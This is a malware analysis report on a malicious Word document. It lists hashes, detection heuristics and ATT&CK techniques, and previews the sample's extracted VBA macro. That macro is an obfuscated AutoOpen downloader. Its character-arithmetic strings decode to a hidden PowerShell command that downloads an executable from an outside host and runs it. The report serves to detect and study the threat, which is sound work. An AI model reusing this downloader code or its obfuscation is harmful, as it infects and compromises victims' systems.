Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 560861a47390c1a4…

MALICIOUS

Office (OLE)

133.0 KB Created: 2018-10-22 19:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 88d1c31e1e3f1942c80d1d1e1842f687 SHA-1: 8013e17ab76033739f69fae30fe9e4f5b114b9c6 SHA-256: 560861a47390c1a42b17ac019fee2a90e603fbe048422bf66f73a5fcb33aa9b5
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains multiple VBA auto-execution macros (AutoOpen, Workbook_Open, Auto_Open) that trigger the execution of obfuscated commands via the Shell() function. These commands appear to be constructing strings that likely form executable commands or URLs, indicating a downloader functionality. The obfuscation and use of Shell() are strong indicators of malicious intent to execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4321 bytes
SHA-256: 64d85a6952ba653fc1ee1d539f27b5f0e8a592cd3efdcf962630863dbc24bef3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
exec1 = ChrW(113 - 1) + ChrW(112 - 1) + ChrW(120 - 1) + ChrW(102 - 1) + ChrW(115 - 1) + ChrW(116 - 1) + ChrW(105 - 1) + ChrW(102 - 1) + ChrW(109 - 1) + ChrW(109 - 1) + ChrW(47 - 1)
exec2 = ChrW(102 - 1) + ChrW(121 - 1) + ChrW(102 - 1) + ChrW(33 - 1) + ChrW(46 - 1) + ChrW(70 - 1) + ChrW(121 - 1) + ChrW(102 - 1) + ChrW(100 - 1) + ChrW(118 - 1) + ChrW(117 - 1)
exec3 = ChrW(106 - 1) + ChrW(112 - 1) + ChrW(111 - 1) + ChrW(81 - 1) + ChrW(112 - 1) + ChrW(109 - 1) + ChrW(106 - 1) + ChrW(100 - 1) + ChrW(122 - 1) + ChrW(33 - 1) + ChrW(99 - 1)
exec4 = ChrW(122 - 1) + ChrW(113 - 1) + ChrW(98 - 1) + ChrW(116 - 1) + ChrW(116 - 1) + ChrW(33 - 1) + ChrW(46 - 1) + ChrW(111 - 1) + ChrW(112 - 1) + ChrW(113 - 1) + ChrW(115 - 1)
exec5 = ChrW(112 - 1) + ChrW(103 - 1) + ChrW(106 - 1) + ChrW(109 - 1) + ChrW(102 - 1) + ChrW(33 - 1) + ChrW(46 - 1) + ChrW(120 - 1) + ChrW(106 - 1) + ChrW(111 - 1) + ChrW(101 - 1)
exec6 = ChrW(112 - 1) + ChrW(120 - 1) + ChrW(116 - 1) + ChrW(117 - 1) + ChrW(122 - 1) + ChrW(109 - 1) + ChrW(102 - 1) + ChrW(33 - 1) + ChrW(105 - 1) + ChrW(106 - 1) + ChrW(101 - 1)
exec7 = ChrW(101 - 1) + ChrW(102 - 1) + ChrW(111 - 1) + ChrW(33 - 1) + ChrW(41 - 1) + ChrW(111 - 1) + ChrW(102 - 1) + ChrW(120 - 1) + ChrW(46 - 1) + ChrW(112 - 1) + ChrW(99 - 1)
exec8 = ChrW(107 - 1) + ChrW(102 - 1) + ChrW(100 - 1) + ChrW(117 - 1) + ChrW(33 - 1) + ChrW(84 - 1) + ChrW(122 - 1) + ChrW(116 - 1) + ChrW(117 - 1) + ChrW(102 - 1) + ChrW(110 - 1)
exec9 = ChrW(47 - 1) + ChrW(79 - 1) + ChrW(102 - 1) + ChrW(117 - 1) + ChrW(47 - 1) + ChrW(88 - 1) + ChrW(102 - 1) + ChrW(99 - 1) + ChrW(68 - 1) + ChrW(109 - 1) + ChrW(106 - 1)
exec10 = ChrW(102 - 1) + ChrW(111 - 1) + ChrW(117 - 1) + ChrW(42 - 1) + ChrW(47 - 1) + ChrW(69 - 1) + ChrW(112 - 1) + ChrW(120 - 1) + ChrW(111 - 1) + ChrW(109 - 1) + ChrW(112 - 1)
exec11 = ChrW(98 - 1) + ChrW(101 - 1) + ChrW(103 - 1) + ChrW(106 - 1) + ChrW(109 - 1) + ChrW(102 - 1) + ChrW(41 - 1) + ChrW(40 - 1) + ChrW(105 - 1) + ChrW(117 - 1) + ChrW(117 - 1)
exec12 = ChrW(113 - 1) + ChrW(116 - 1) + ChrW(59 - 1) + ChrW(48 - 1) + ChrW(48 - 1) + ChrW(99 - 1) + ChrW(112 - 1) + ChrW(112 - 1) + ChrW(111 - 1) + ChrW(100 - 1) + ChrW(105 - 1)
exec13 = ChrW(112 - 1) + ChrW(112 - 1) + ChrW(47 - 1) + ChrW(111 - 1) + ChrW(102 - 1) + ChrW(117 - 1) + ChrW(48 - 1) + ChrW(114 - 1) + ChrW(118 - 1) + ChrW(112 - 1) + ChrW(117 - 1)
exec14 = ChrW(102 - 1) + ChrW(116 - 1) + ChrW(48 - 1) + ChrW(120 - 1) + ChrW(113 - 1) + ChrW(46 - 1) + ChrW(106 - 1) + ChrW(111 - 1) + ChrW(100 - 1) + ChrW(109 - 1) + ChrW(118 - 1)
exec15 = ChrW(101 - 1) + ChrW(102 - 1) + ChrW(116 - 1) + ChrW(48 - 1) + ChrW(85 - 1) + ChrW(102 - 1) + ChrW(121 - 1) + ChrW(117 - 1) + ChrW(48 - 1) + ChrW(69 - 1) + ChrW(106 - 1)
exec16 = ChrW(103 - 1) + ChrW(103 - 1) + ChrW(48 - 1) + ChrW(70 - 1) + ChrW(111 - 1) + ChrW(104 - 1) + ChrW(106 - 1) + ChrW(111 - 1) + ChrW(102 - 1) + ChrW(48 - 1) + ChrW(112 - 1)
exec17 = ChrW(118 - 1) + ChrW(117 - 1) + ChrW(113 - 1) + ChrW(118 - 1) + ChrW(117 - 1) + ChrW(56 - 1) + ChrW(54 - 1) + ChrW(56 - 1) + ChrW(54 - 1) + ChrW(50 - 1) + ChrW(50 - 1)
exec18 = ChrW(49 - 1) + ChrW(47 - 1) + ChrW(102 - 1) + ChrW(121 - 1) + ChrW(102 - 1) + ChrW(40 - 1) + ChrW(45 - 1) + ChrW(40 - 1) + ChrW(101 - 1) + ChrW(112 - 1) + ChrW(100 - 1)
exec19 = ChrW(47 - 1) + ChrW(102 - 1) + ChrW(121 - 1) + ChrW(102 - 1) + ChrW(40 - 1) + ChrW(42 - 1) + ChrW(60 - 1) + ChrW(33 - 1) + ChrW(74 - 1) + ChrW(111 - 1) + ChrW(119 - 1)
exec20 = ChrW(112 - 1) + ChrW(108 - 1) + ChrW(102 - 1) + ChrW(46 - 1) + ChrW(74 - 1) + ChrW(117 - 1) + ChrW(102 - 1) + ChrW(110 - 1) + ChrW(33 - 1) + ChrW(101 - 1) + ChrW(112 - 1)
exec21 = ChrW(100 - 1) + ChrW(47 - 1) + ChrW(102 - 1) + ChrW(121 - 1) + ChrW(102 - 1)
Last = exec0 + exec1 + exec2 + exec3 + exec4 + exec5 + exec6 + exec7 
... (truncated)

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